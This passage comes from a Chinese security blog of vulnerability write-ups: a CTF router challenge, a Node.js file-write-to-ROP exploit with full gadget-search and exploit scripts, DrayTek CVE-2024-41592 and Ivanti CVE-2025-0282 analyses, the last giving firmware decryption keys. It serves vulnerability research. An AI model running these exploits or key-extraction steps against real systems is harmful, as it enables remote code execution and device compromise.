将会返回一个以大端序 16 进制表示的内存地址，可以用来检查特定名称的分词器是否已注册。这个指针指向一个 sqlite3_tokenizer_module 结构体。

函数的第二个可选参数用以注册新的分词器，只要执行如下 SQL 查询，即可注册一个名为 mytokenizer 的分词器：

1
sqlite> select fts3_tokenizer('mytokenizer', x'0xdeadbeefdeadbeef');

根据文章 2.1 基地址泄漏 小节中说明的，只提供一个参数执行 select fts3_tokenizer(name)，如果 name 是一个已经注册过的分词器，将会返回这个分词器对应的内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter：

1
2
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)
|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)

以 simple 分词器为例，其注册的指针指向静态区的 simpleTokenizerModule。

1
2
3
4
5
6
7
8
static const sqlite3_tokenizer_module simpleTokenizerModule = {
0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};

通过获得这个指针，即可通过简单的计算获得 libsqlite3.so 的基地址，从而绕过 ASLR。

image-20240531141746938

因此接合上面的sql注入， 我们就可以拿到泄漏的地址

image-20240531142504487

认证绕过

在检查路由的时候， 代码如下

image-20240531142102397

检查路由的时候判断是不是 /smb/ 但是忽略了， 如果是 /smb 则可以绕过授权

一个好玩的非预期

前文提到了这个题目有三个队伍做出来了， 其中BlueWater和 Kalmarunionen是通过栈溢出 + 爆破 libc 解决题目的， 另外一个队伍用了一个比较有趣的非预期， 这个队伍就是 Friendly Maltese Citizens

前面提到了该服务存在 sql 注入漏洞，他们发现 smb 的 GETMUSICCLASSIFICATION 方法存在 get_album_cover_image函数可以用来加载文件内容并且泄漏。于是他们用 sql 注入将 flag 的路径写到 album表中， 然后直接通过下面的方法预览

1
2
3
4
5
6
7
await fetch("/RWCTF", {
"headers": {
"classify": "album",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "GETMUSICCLASSIFICATION"
}).then(a => a.text())

参考链接

  1. 1.Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4↩
  2. 2.CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/↩
  3. 3.特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/↩

Exploiting File Writes in Hardened Node.js Environments


,

…

TL; DR

在 Hexacon 2024 上关注到了这么一个议题 《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》， 同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。[1] 这里简单快速复现一下。

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

按照文章的描述， 我们先随便构造一个可以任意文件写的 nodejs 服务 （在假设环境是readonly 的情况下）

Exploit

按照文章的描述， nodejs 使用了 libuv 的这么一个库， 这个库在初始化的时候会的打开一个 Pipe 管道， 作者通过审计的时候发现有一个函数 uv__signal_event [2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void uv__signal_event(uv_loop_t* loop,
uv__io_t* w,
unsigned int events){
uv__signal_msg_t* msg;
uv_signal_t* handle;
char buf[sizeof(uv__signal_msg_t) * 32];
size_t bytes, end, i;
int r;

bytes = 0;
end = 0;

do {
r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

if (r == -1 && errno == EINTR)
continue;
...
/* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */
end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);

for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

handle->dispatched_signals++;

if (handle->flags & UV_SIGNAL_ONE_SHOT)
uv__signal_stop(handle);
}

在这个函数中， 从 loop->signal_pipefd[0] 读内容， 然后做一个 signum检查， 就会使用传过来的数据解引用出来一个函数指针，然后直接调用

1
2
3
4
5
6
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

uv__signal_msg_t数据结构仅包含两个成员，一个句柄指针和一个称为signum的整数：

1
2
3
4
typedef struct {
uv_signal_t* handle;
int signum;
} uv__signal_msg_t;

在这个 Pipe 是可 uv__make_pipe 函数创建的， 在 Docker 容器中是fd 为 11 的描述符

image.png

当然这个fd num 值更好的判断就是下一个断点， 然后简单通过 echo 发点数据就能确认 （ 不要在真实机器上测试， 会把一些 lib 写坏掉）

Overview Data Structure

image.png

对于我们来说， 我们有一个任意文件写入的方法， 我们通过这个方法往 Pipe 中写入我们构造的数据， 我们要构造的数据如上

发送过来的数据包含两个部分， 一个是 *handle 指针， 和 signum， 其中 *handle 指针指向的数据包含两个部分

  • signal_cb
  • signum

我们要构造 uv_signal_msg_t 的 signum 和 uv_signal_s 结构体中的 signum 相等， 才会调用 signal_cb ， 并且， 由于我们构造的这个场景是通过 fs.writeFile 函数写入内容的

用于写入文件的函数（本例中为 fs.writeFile）仅限于有效的 UTF-8 数据。因此，写入管道的所有数据都必须是有效的 UTF-8。

如果满足上述条件， 我们就可以劫持程序流，控制程序执行到我们想要的地方

Searching Data Structure Gadgets

由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的

1
2
3
4
5
6
7
8
9
osboxes@osboxes:~$ checksec node
[*] '/home/osboxes/node'
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

因此我们可以尝试在 node 程序中尝试找合适的 gadget。 我考虑到如果程序起来只有可能会有一些数据写在 bss 或者 data 段上， 因此我 search 的范围是将程序正常启动，然后 dump memory

image.png

由于执行到 signal_cb 的时候， 此时场景如下：

image.png

image.png

我们仅仅需要找几个 pop xxx , pop xxx, .* ret 的 gadget 就行， 那么代码思路如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

首先从头开始遍历， 由于调用的callback 指针是从 handle+60h 获取的， 因此我们第一个要校验的 *handle 是要减去 0x60 的， 然后从 handle + 8 后取 4个字节， 作为signum ，判断这两者是否都符合 utf-8 编码， 如果是将这个指针读出来， 接着读取这个指针的指向的gadget ， 这里假设 depth 为 30 ， 然后尝试去反汇编， 然后判断这个 gadget 是不是符合 pop xxx , ret 的形式， 如果是将这些值打印出来。

我这里没有做更细致的处理，打印出来的 gadget 可能比较丑， 大概长这样

image.png

很幸运的是， 我的第一个 gadget 就是满足的， 且适合我用来做栈迁移的

1
2
3
4
5
6
7
8
9

root@osboxes:/home/osboxes# python3 search.py
handle 0x4261af -> ptr: 12048128(0xB7D700) signum 0xb7d900
pop    r12
pop    r13
pop    r14
pop    r15
pop    rbp
ret

那么此时我构造出来的数据就大致长这样

1
2
3
4
5
6
7
8
9
uv_signal_msg_t.
....
*handle (0x4261af) -------->   uv_signal_s
signum (0xb7d900).               ...

*signal_cb(0xB7D700) : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
signum (0xb7d900)
...

1
2
content   = p64(0x4261af - 0x60)  # handle
content  += p64(0xb7d900)         # signum

这里贴下我完整的 search 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import *

def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False


def read_mem(addr, size):
if 0x0000000000400000< addr< 0x0000000004ff1000:
base = 0x0000000000400000
data = mem1[addr-base: addr+size-base]
elif 0x00000000051f1000 < addr < 0x00000000051f4000:
base = 0x00000000051f1000
data = mem2[addr-base: addr+size-base]
elif 0x00000000051f4000 < addr < 0x000000000520f000:
base = 0x00000000051f4000
data = mem3[addr-base: addr+size-base]
else:
return None
return data

def is_useful_gadget(out):
dis_list = out.split('\n')
for n, x in enumerate(dis_list):
if x == 'ret':
for _ in range(0, n):
if 'bad' in dis_list[_] :
return False
return True
return False

with open("mem1", "rb") as f:
mem1 = f.read()

with open("mem2", "rb") as f:
mem2 = f.read()

with open("mem3", "rb") as f:
mem3 = f.read()

segments = [(0x0000000000400000, 0x0000000004ff1000-0x0000000000400000), (0x00000000051f1000, 0x00000000051f4000-0x00000000051f1000), (0x00000000051f4000, 0x000000000520f000-0x00000000051f4000)]


for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

ROP Chain

当能栈迁移后， 后面就是拼接 ROP chain的流程了， 由于程序本身没有 system 、 popen 等函数的调用 ，所以我没有法直接 ret2text， 我将我的思路简单定成如下：

  • 找到一个 gadget 能从任意地址读取值， 然后赋值到某个寄存器上
  • 找到一个gadget 能对可控的寄存器进行加减法运算
  • 找到一个 libc 函数， 该函数与 system 的偏移满足 UTF-8 编码

首先通过 ROPchain 将所有可能能用的 gadget 输出成一个文件， 然后重新过滤下看哪些地址是符合 utf-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False

lines = [ line.replace('\n','') for line in open('./gadgets','r').readlines()]
lines = list(filter(lambda line: ' : ' in line , lines))
lines = list(map(lambda line: line.split(' : '),lines))


result = list(filter(lambda l: is_valid_utf8(p64(int(l[0],16))),lines ))
for i in result:
print(i[0],' : ',i[1])

通过这个过滤，我找到了两条 gadget

1
2
0x0000000001097367  :  add rax, rdx ; ret
0x0000000002176b34  :  mov rax, qword ptr [rsi] ; ret

第i三个 libc 函数，我找到的是， setegid ， 它与system的偏移为 0xb1f30 符合 UTF-8

通过组合我们构造出如下 ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '

最后就可以执行任意命令了

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import json
import requests
from urllib.parse import quote

# control rip
#content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


pop_rdi_ret = 0x0000000000427748
pop_rsi_ret = 0x0000000000433d27
pop_rdx_ret = 0x0000000001634a57
sub_rax_rdx_ret = 0x00000000017e7432
mov_rax_qword_ptr_rsi_ret = 0x0000000002176b34
mov_rdi_rax_pop_rbp_jmp_rdx = 0x000000000190ade9
mov_rbp_rsp_pop_rbp_ret = 0x0000000001b1da5d

add_rax_rdx_ret = 0x0000000001097367
jump_rsp = 0x0000000000430657
mov_rdi_rax_pop_rbp_jump_rdx = 0x000000000190ade9 # mov rdi, rax ; pop rbp ; jmp rdx
mprotect_plt = 0xa98eb0
setegid_got = 0x51f3f08

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '


a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/8/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://localhost:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

#data =  dump.dump_all(resp.reuqest)
#print(resp.text)

  1. 1.https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/↩
  2. 2.https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433↩

CVE-2024-41592 vigor 栈溢出漏洞分析


漏洞分析

, ,

…

TL；DR

这个漏洞其实是分析于今年11月份，鉴于今年只更新了四篇博客，所以就把这篇也拿出来了。这也是大概率今年最后一篇博客了。

CVE-2024-41592 是 forescout 一篇为 《Breaking Into DrayTekRouters Before Threat Actors Do It Again》[1]的漏洞报告其中的一个漏洞。

image-20241230143455676

漏洞产生于 GetCGI() 函数中， 在该函数中处理字符串参数会造成越界导致栈溢出。

漏洞分析

固件解压和调试准备

这里以Draytek 3910的 4.3.1 的版本作为调试 测试版本，进行展开分析。固件的解密和解压不展开赘述，可以参考之前 《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》 [2]slide 或者其他研究员的文章。

解压后能在 rootfs/firmware/vqemu/sohod64.bin 目录下找到主程序， Draytek 3910 采用了奇葩的 Linux + Qemu + RTOS 的奇葩架构，即在 arm linux操作系统上使用qemu 运行 drayos 的RTOS 操作系统。这里的调试方式采用的是使用编译 Draytek 开源的qemu代码进行编译，然后就可以正常调试。

调试之前需要对 firmware/setup_qemu_linux.sh 和 run_linux.sh 进行部分修改， 例如对run_linux.sh 在 qemu-system-aarch64 添加 -s 参数方便用于调试

image-20241230145133293

漏洞成因

我们通过一个有符号的 draytek 2830 的固件来快速定位到Draytek 3910 4.3.1的 GetCGI() 函数， 或者直接对 QUERY_STRING 字符串进行交叉引用。

image-20241230145702255

在各个 cgi 处理函数的时候都会进行一次 GetCGI 函数的调用来处理参数。

image.png

在这个函数（GetCGI）里面，当有 & 出现， 就会通过 makeword 函数生成一个内存空间，然后将地址赋值到栈上， 这个函数的部分逻辑伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
v19 = sub_400BFA18("REQUEST_METHOD", a3);
if ( v19 )
{
if ( !strcmp(v19, "GET") )
{
v18 = sub_400BFA18("QUERY_STRING", a3);
if ( !v18 )
return 0;
idx = 0;
while ( *v18 )
{
*(a2 + 8 * idx) = makeword(v18, '&');   // overflow
plustospace(*(a2 + 8 * idx));
unescape_url(*(a2 + 8 * idx));
v16 = safe_strcrh(*(a2 + 8 * idx), '=');
if ( v16 )
{
*v16 = 0;
*(a2 + 8 * idx + 4LL) = v16 + 1;
}
else
{
*(a2 + 8 * idx + 4LL) = 0;
}
++idx;
}
}

这里的 (a2 + 8 * idx） 在栈上， 当输入过多的 & 就有如下的效果：

image-20241230150417353

会有一堆指针覆盖栈上的变量， 甚至能覆盖到返回地址。

Exploit

虽然我们在GetCGI() 函数中覆盖到了返回地址， 但是在各个 CGI 函数结尾的时候会有一个 FreeCtrlName 函数的调用， 该函数会将将覆盖掉得返回地址的指针置零。

image-20241230152340712

也正如原文章所说的， 我们需要绕过这个函数

Although this seems straightforward, challenges exist. Consider the “FreeCtrlName()” function called when a
CGI handler returns (Figure 13). This function “frees” all the POST/GET request data structures, including the
query string buffer. It simply iterates over the 32-bit pointers located in the lower 4 bytes of the stack
21
DRAY:BREAK - BREAKING INTO DRAYTEK ROUTERS BEFORE THREAT ACTORS DO IT AGAIN
addresses and frees them, zeroing out the pointer values as well. Oddly, the higher 4-byte addresses (e.g.,
pointers to query string parameters values) are never freed

FreeCtrlName 函数伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall FreeCtrlName(__int64 result)
{
int v1; // [xsp+1Ch] [xbp+1Ch]
int i; // [xsp+2Ch] [xbp+2Ch]

v1 = result;
for ( i = 0; *(v1 + 8 * i); ++i )
{
result = sub_4061D7CC(*(v1 + 8 * i), 0x154u);
*(v1 + 8 * i) = 0;
}
return result;
}

这个函数的 free 逻辑是， 遍历栈上的指针， 一直free 直到为 0 为止， 因此我们需要找到一个函数可以在栈上写一个 0 ， 这样就能避免这个问题。在原文[1] 甚至后来 12月在 Blackhat EU 《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》[3]的slide 上都没有提及这个所谓的 [vulnerable-cgi-page].cgi 是什么。

image-20241230151257971

但是通过一些途径我们还是能找到这个能设置 0 的 cgi ， 思路也是比较简单

  1. 首先先将所有的 CGI 调用函数定义出来，

  2. 过滤出不需要授权的 CGI 函数

    粗浅的记得是只要函数里没有 CGIbyFieldName = GetCGIbyFieldName(v6 + 32, "sFormAuthStr");的调用就不需要授权

  3. 猜想哪些函数可以写 0 ， 例如 atoi(query_string), query_string 是 HTTP 请求传入的参数

通过以上操作，我们其实很快就能找到一个不用授权、且参数可控可写 0 的CGI。最后的效果就是我们可以控制返回地址跳转到一个内容完全可控的地址里（内容为具体参数的内容）且由于程序运行在 qemu 环境上， 因此我们可以在目标地址上写入任意的shellcode。 但是我们需要逃逸到 qemu 外面， 本身程序提供了一个， virtcons_out 这个函数， 可以执行一些特殊的命令， 我们可以在第一个参数中拼接命令注入来在host上执行任意命令。

image-20241230154445770

  1. 1.《Breaking Into DrayTekRouters Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/↩
  2. 2.《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM↩
  3. 3.《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf↩

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析


漏洞分析

, ,

…

TL; DR

2025年（暨蛇年）第一篇博客文章，顺便祝我的博客读者新春快乐吧。

1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警：

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/

1月10日 watchtowr 就发布了漏洞分析

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

1月10日我也发了我的漏洞复现推特： https://x.com/bestswngs/status/1877715807506952486

这次 diff版本2.3 build 3431 和 2.5， 特意留到了除夕夜发这篇文章..

固件提取

这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助， 具体流程如下：

添加磁盘到虚拟机里后， 用 lvdisplay 可以看到几个分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
──(root㉿kali)-[/home/kali/Desktop]
└─# lvdisplay
--- Logical volume ---
LV Path                /dev/groupA/home
LV Name                home
VG Name                groupA
LV UUID                vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:21 -0500
LV Status              NOT available
LV Size                <4.87 GiB
Current LE             1246
Segments               1
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupA/runtime
LV Name                runtime
VG Name                groupA
LV UUID                dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:39 -0500
LV Status              NOT available
LV Size                <19.46 GiB
Current LE             4981
Segments               2
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupZ/home
LV Name                home
VG Name                groupZ
LV UUID                cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK
LV Write Access        read/write
LV Creation host, time (none), 2024-10-07 06:47:49 -0400
LV Status              NOT available
LV Size                6.72 GiB
Current LE             1721
Segments               1
Allocation             inherit
Read ahead sectors     auto

可以看到这几个都是 lvm2 加密的， 没法直接 mount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[/home/kali/Desktop]
└─# fdisk -l
Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc45d0b27

Device     Boot Start       End   Sectors  Size Id Type
/dev/sdb1  *     2048 167968749 167966702 80.1G 83 Linux


Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1           16065    224909    208845  102M 83 Linux
/dev/sda2          224910    433754    208845  102M 83 Linux
/dev/sda3          449820    658664    208845  102M 83 Linux
/dev/sda4          674730 167766794 167092065 79.7G 85 Linux extended
/dev/sda5          674731  14779799  14105069  6.7G 83 Linux
/dev/sda6        14779801  30089744  15309944  7.3G 83 Linux
/dev/sda7        30089746  65802239  35712494   17G 83 Linux
/dev/sda8        65802241  81112184  15309944  7.3G 83 Linux
/dev/sda9        81112186 116824679  35712494   17G 83 Linux
/dev/sda10      116824681 132134624  15309944  7.3G 82 Linux swap / Solaris
/dev/sda11      132134626 167766794  35632169   17G 83 Linux

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/groupZ/home /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/sda1 /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls /mnt/runtime
boot.b  compact-file  coreboot.img  disksize  grub  kernel  log_coreboot  lost+found  VERSION

我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img， 可以看看到 coreboot.img 作为initrd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─# cat /mnt/runtime/grub/grub.cfg
set default=0
set timeout=5
insmod ext2
password 07ow3w3d743
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
menuentry "Current" {
set root=(hd0,2)
linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}
menuentry "Factory Reset" {
set root=(hd0,1)
linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}

decrypt

coreboot.img 作为initrd

image.png

我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了， 在 kernel中populate_rootfs里面写死密钥的AES解密

1
2
3
4
5
6
7
8
>>>DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA")
>>>
>>>realkey = strxor(DRAMFS_AES_KEY[:4][::-1], bytes.fromhex('99ED2BF2'))[::-1]
2 realkey += strxor(DRAMFS_AES_KEY[4:8][::-1], bytes.fromhex('AEEF41FE'))[::-1]
3 realkey += strxor(DRAMFS_AES_KEY[8:12][::-1], bytes.fromhex('141058C7'))[::-1]
4 realkey += strxor(DRAMFS_AES_KEY[12:16][::-1], bytes.fromhex('D2ED180E'))[::-1]
>>>realkey
b'\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18'

binary ninja 带有神奇的优化，
image.png
优化出来就是异或完的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ffffffff826d0815            int64_t initrd_start_3 = initrd_start;
ffffffff826d081c            int32_t initrd_end_1 = (*(uint32_t*)initrd_end);
ffffffff826d082e            int64_t* rax_1 = crypto_alloc_base("aes", 0, 0);
ffffffff826d0833            uint64_t i = (uint64_t)(initrd_end_1 - initrd_start_3);
ffffffff826d083f            int64_t rcx_1;
ffffffff826d083f            int64_t rdx_1;
ffffffff826d083f            int64_t r8_1;
ffffffff826d083f
ffffffff826d083f            if (rax_1 <= -0x1000)
ffffffff826d083f{
ffffffff826d0875                int32_t var_6c_1 = 0xda5841d8;
ffffffff826d0889                int32_t var_70 = 0xb75efce1;
ffffffff826d088c                int32_t var_68_1 = 0xbcebd8ba;
ffffffff826d088f                int32_t var_64_1 = 0x182acdf6;
ffffffff826d089b                rcx_1 = rax_1[1](rax_1, &var_70, 0x10);
ffffffff826d089f                int32_t rax_2 = 0;

通过简单的逆向， 我们很快就可以写出一份解密代码， 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。

1
2
3
4
5
6
7
8
9
10
# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53]
$ file out2.bak
out2.bak: gzip compressed data, last modified: Sat Oct  5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:49]
$ gzip -d out2.gz

$ file out2
out2: ASCII cpio archive (SVR4 with no CRC)

cpio 解出来的目录结构如下：

1
2
3
# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34]
$ ls
bin     dash    dev     etc     gzip    insmod  lib     modules out2    rmmod   sbin    tmp     usr

etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘

1
2
sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home
sudo mount /dev/mapper/groupA_home /mnt/disk1

shell 获取

/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项

这里就是会调用 sub shell {} 方法

1
2
3
4
5
6
7
8
9
sub shell{
return "" if (!DSSys::isDebugBuild());
print "set DISPLAY variable if you want to start an xterm\n";

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;
DSSafe::system("$install/bin/dsshell");

return "";
}

通过简单逆向这个程序，我们就很快能获得一个带有调试功能的固件了（具体操作留给读者了， 很简单）

CVE-2025-0282

Diff patched

image.png

可以看到这里新加了一个长度判断， 之前存在栈溢出

1
2
3
4
5
6
7
8
9
10
memset(dest, 0, sizeof(dest));
strncpy(dest, *(const char **)(a1 + 140), v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}

PoC

最早的poc构造是根据 watchtowr 的文章， 魔改 openconnect[1] 的 pulse.c 代码

1
2
3
4
5
6
7
if (bytes[0])
